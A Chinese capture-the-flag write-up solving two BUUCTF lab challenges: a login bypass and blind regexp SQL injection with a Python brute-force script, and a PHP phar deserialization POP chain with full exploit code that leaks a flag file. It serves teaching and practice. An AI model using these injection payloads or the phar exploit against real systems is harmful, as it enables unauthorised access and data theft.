CTF赛题全解之CTF成长之路(五)

题目名称:Simple Upload

考点:SQL注入

打开界面发现一个登录框,下面给出了SQL语句

基本确定是SQL注入,接下来构造注入语句,在用户名处填写\然后在密码处填写||1;提交后进行抓包,在密码处追加填写%00,这样可以将末尾的单引号忽略掉,发现可以跳转到welcome.php,说明语句执行成功。

然后一看,竟然没有flag,然后发现有个hint.txt,给了过滤的关键字和拿到flag的条件

看到过滤了这么多关键字,就果断了看了wp。发现是用的regexp进行注入,regexp是mysql当中的正则匹配函数,所以这里我就写了个脚本用来跑密码。

#!/usr/bin/env python
#_*_coding:utf-8_*_
import requests
url='http://24a32e78-d96f-42a7-afc7-f55b04d3221a.node3.buuoj.cn/index.php'
strs='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789-_{}[email protected]#$%^&*()_+0123456789'
passwd=''
passwd2=''
start=0
while start<35:
    for s in strs:
        passwd2=passwd+s
        agent={
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            }
        datas={
            'username':'\\',
            'passwd':'||/**/passwd/**/regexp/**/"^'+passwd2+'";'+chr(0)
            }
        print(datas['passwd'])
        r=requests.post(url=url,data=datas,headers=agent)
        if 'welcome' in r.text:
            passwd+=s
            start+=1
            break
print(passwd)

最后得出密码是:you_will_never_know7788990

随便一个用户名,然后填写密码,即可拿到flag


题目名称:SimplePHP

考点:反序列化、phar协议

打开页面发现可以上传文件和查看文件,猜测可能是文件上传,上传文件后发现在查看文件处看不了文件。

访问一下upload目录发现可以列目录查看文件。。。

再次回到查看文件的地方,这时候发现url里面有个file参数,将文件路径传入file参数发现竟然可以查看文件源代码

然后在不断地读取文件中,找到了本题比较关键的几个文件。

File.php

<?php  
header("content-type:text/html;charset=utf-8");   
include 'function.php';  
include 'class.php';  
ini_set('open_basedir','/var/www/html/');  
$file = $_GET["file"] ? $_GET['file'] : "";  
if(empty($file)) {  
    echo "<h2>There is no file to show!<h2/>";  
}  
$show = new Show();  
if(file_exists($file)) {  
    $show->source = $file;  
    $show->_show();  
} else if (!empty($file)){  
    die('file doesn\'t exists.');  
}  
?>

Class.php

<?php 
class C1e4r 
{ 
    public $test; 
    public $str; 
    public function __construct($name) 
    { 
        $this->str = $name; 
    } 
    public function __destruct() 
    { 
        $this->test = $this->str; 
        echo $this->test; 
    } 
}

class Show 
{ 
    public $source; 
    public $str; 
    public function __construct($file) 
    { 
        $this->source = $file;   //$this->source = phar://phar.jpg 
        echo $this->source; 
    } 
    public function __toString() 
    { 
        $content = $this->str['str']->source; 
        return $content; 
    } 
    public function __set($key,$value) 
    { 
        $this->$key = $value; 
    } 
    public function _show() 
    { 
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { 
            die('hacker!'); 
        } else { 
            highlight_file($this->source); 
        } 
         
    } 
    public function __wakeup() 
    { 
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { 
            echo "hacker~"; 
            $this->source = "index.php"; 
        } 
    } 
} 
class Test 
{ 
    public $file; 
    public $params; 
    public function __construct() 
    { 
        $this->params = array(); 
    } 
    public function __get($key) 
    { 
        return $this->get($key); 
    } 
    public function get($key) 
    { 
        if(isset($this->params[$key])) { 
            $value = $this->params[$key]; 
        } else { 
            $value = "index.php"; 
        } 
        return $this->file_get($value); 
    } 
    public function file_get($value) 
    { 
        $text = base64_encode(file_get_contents($value)); 
        return $text; 
    } 
} 
?>

在注释中看到Phar://怀疑这道题需要用phar协议来解。这道题看到多个对象,而且有多个魔术方法,就怀疑是需要用反序列化。但是没有反序列化函数,所以就采用phar协议来做这道题,首先根据class.php的代码构造pop链。

使用cle4r类中的__destruct方法去调用show类的toString方法然后触发Test类中的_get方法;通过_get去调用get方法接着去调用file_get方法读取文件内容。

利用代码:

<?php
class Test
{
public $params;
public $str;
    public function __construct()
{
        $this->params = array();
    }

}

class C1e4r
{
    public $test;
    public $str;

}

class Show
{
    public $source;
    public $str = array();

}
    $t = new Test();
    $c = new C1e4r();
    $s = new Show();
    $t->params['source'] = '/var/www/html/f1ag.php';
    $s->str['str'] = $t;
    $c->str = $s;


    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->setMetadata($c); 
    $phar->addFromString("test.txt", "test");

    $phar->stopBuffering();
?>

然后生成phar文件,将生成的phar文件修改为jpg格式上传

使用phar协议去读取上传文件的路径,得到一串base64编码的字符串,解码后得到flag

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏
分享
评论 抢沙发

请登录后发表评论